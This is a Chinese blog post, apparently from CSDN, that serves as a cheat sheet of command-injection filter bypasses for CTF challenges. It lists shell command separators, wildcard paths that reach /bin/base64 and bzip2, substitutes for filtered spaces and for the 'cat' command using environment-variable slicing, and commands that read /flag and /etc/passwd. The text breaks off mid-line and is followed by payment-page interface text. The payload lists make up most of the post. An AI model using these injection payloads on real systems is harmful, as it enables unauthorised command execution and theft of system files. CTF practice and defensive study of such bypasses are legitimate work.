命令执行漏洞

这篇博客详细探讨了命令执行漏洞的各种绕过方法,包括1>/dev/null 2>&1重定向绕过,空格、文件名、cat命令、特定关键字及分号的过滤,以及PHP中?>闭合代码和无回显情况下的命令注入。还讨论了wget注入、DNSLog带出数据、环境变量利用、Bash盲注技巧等,并提供了相关CTF挑战的参考资料。
摘要由CSDN通过智能技术生成


目录

联合执行

; //分号
| //前一个命令执行的结果做为后一个命令的参数
|| //前面条命令执行失败,才会执行下个命令
& //两条命令都会执行,任务在后台执行
&& // 只有前面条命令成功,才会执行下个命令
%0a //换行 
%0d

1>/dev/null 2>&1绕过

代表重定向到哪里,例如:echo “123” > /home/123.txt
1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于"1>/dev/ null"
2 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1

无字母/bin

/???/????64%20????.???
    # /bin/base64 flag.php

/???/???/???2 ???.????
    # /usr/bin/bzip2
    # 然后url访问flag.php.bz2

bypass

空格被过滤

%09   
%0a  
<
<>
${
   IFS}
$IFS$9
{
   cat,flag.php}

文件名被过滤

?
*
''
""
\
[%00-%ff]

cat被过滤

od
awk '/flag/' flag.php
nl
    nl
    ${
   PATH:${
   #TERM}:${
   SHLVL:~A}}${
   PATH:${
   #RANDOM}:${
   #SHLVL:~A}}
    ${
   PATH:~A}${
   PATH:${
   #RANDOM}:${
   #SHLVL:~A}}

/bin/cat
    ${
   HOME:${
   #}:${
   ##}}???${
   HOME:${
   #}:${
   ##}}??${
   HOME:${
   #HOSTNAME}:${
   #SHLVL}}

xxd
less
ca\t
ca''t
more
rev
    /bin/rev

fmt
base64
    /bin/base64
    code=${
   HOME:${
   #}:${
   ##}}???${
   HOME:${
   #}:${
   ##}}?????${
   #RANDOM}

tac
| cat的倒序
tail
php /flag
sh /flag      
| 利用报错出flag
paste /flag /etc/passwd    
| 可以两个一起读
diff /flag.txt  /etc/passwd
curl fi
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值